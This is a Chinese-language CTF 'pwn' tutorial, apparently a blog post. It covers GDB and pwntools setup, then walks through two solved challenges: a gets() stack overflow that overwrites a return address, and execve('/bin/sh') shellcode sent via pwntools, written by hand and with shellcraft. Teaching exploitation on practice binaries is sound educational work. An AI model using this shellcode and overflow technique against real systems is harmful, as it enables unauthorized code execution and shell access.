PWN是基于给定的程序段,借助堆\栈溢出,缓冲区溢出等手段,使程序执行指定的命令,从而达到攻破的目的。
基础工具
基本环境
基础环境一键安装脚本:https://github.com/giantbranch/pwn-env-init/blob/master/pwn_init_py2.sh
建议在Ubuntu 18.04下执行,20版本的可能无法获取到python2。
安装完成后要修改~/.gdbinit
文件,删除第二行,仅保留pwndgb这个插件。
GDB
GDB是一款Linux下的调试器,用来动态分析程序代码,配合IDA使用。
启动调试
通过gdb 程序名
或gdb attach PID
来启动对指定程序的调试。
此时gdb已经在等待指令。
下断点
借助IDA,可以静态分析到程序代码对应的内存地址,例如对于如下代码段,若要停在光标处,可知其内存地址为0x080484C2。
通过b *0x080484C2
指令,即可在此处下断点。再运行程序,即可停在此处。
运行
输入s
来单步执行,可用于进入方法内部。输入n
可跳过当前方法。
输入run < filename
可将文件作为输入源输入当前程序中。
PWNtools
pwntools是python的一个包,如果安装了一键脚本会自动安装。
通过from pwn import *
来导入包,具体用法见后续例题。
两个简单示例
题目一、通过栈溢出来执行特定函数
题目
程序代码
#include <stdio.h>
#include <string.h>
void success(){
puts("[+] Great.you pwned it.");
}
void vulnerable(){
char s[12];
gets(s);
puts(s);
return;
}
int main(int argc,char ** argv){
vulnerable();
return 0;
}
目的:通过栈溢出,使得success函数被执行。
分析
借助IDA,可以知道success函数的入口地址为0x08048456
数组s大小只有12,通过输入大量字符,使得gets函数溢出。
单步调试,发现当call vulneralbe
之后,通过esp
可知,该函数执行完后返回时将会调用的地址为0xffffd14c
。
进入Vulnerable
函数,停在gets
处,获取到s
的首地址为0xffffd134
。
因此可知,只要构造的输入长度为0xffffd14c-0xffffd134=0x18
,此时将会正好溢出至函数return后将要调用的地址,再继续构造输入,将success函数的地址跟在其后,这样溢出后就会将success的地址覆盖到return时获取的栈帧,从而成功执行success函数。
因为部分值为不可见字符,无法直接输入,因此通过脚本来构造输入,因为小端续,因此success的地址倒序输入:
f = open("test.txt","wb")
f.write(0x18*b'a'+b'\x56\x84\x04\x08\n')
f.flush()
f.close()
然后将test.txt作为输入,成功溢出,执行success函数。
题目二、构造shell
题目
题目反汇编后,得到提示,通过构建shell来完成题目。
分析
为了构造shell,首先要知道linux的调用表,地址如下:
https://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/(64位系统)
我们的目标是执行sys_execve
从而借助该函数执行我们所需的程序,其rax为59(0x3B)。
对于64位系统,我们要构件的目标寄存器值如下:
- Rdx=0
- Rsi=0
- [rdi]="/bin/sh"
- Rax=0x3b
- syscall
手工实现
通过如下代码。借助pwntools的asm命令,将寄存器的值更改。
注意该方法不能写入字符串,因此"/bin/sh”
需要转为16进制,然后按小端序倒着写。
因为题目中可看出先有个提示enter shellcode to execute
然后才接收输入,因此我们使用recvuntil
函数来等待这个提示出现。
from pwn import *
#指定目标环境
context(os='linux',arch='amd64')
#执行程序
sh=process("./pwn")
# remote可用来连接远程端口
#sh=remote('10.144.16.71',10002)
sh.recvuntil("enter shellcode to execute")
payload=asm("mov rdx,0")
payload+=asm("mov rsi,0")
payload+=asm("mov rax,0x68732f6e69622f")
payload+=asm("push rax")
payload+=asm("mov rdi,rsp")
payload+=asm("mov rax,59")
payload+=asm("syscall")
sh.sendline(payload)
sh.interactive()
执行脚本,成功打开shell。
自动构建
借助asm,可以自动构建脚本触发shell,代码如下:
from pwn import *
context(os='linux',arch='amd64')
sh=process("./pwn")
sh.recvuntil("enter shellcode to execute")
payload=asm(shellcraft.sh())
sh.sendline(payload)
sh.interactive()
执行脚本,同样可以打开shell。
文章评论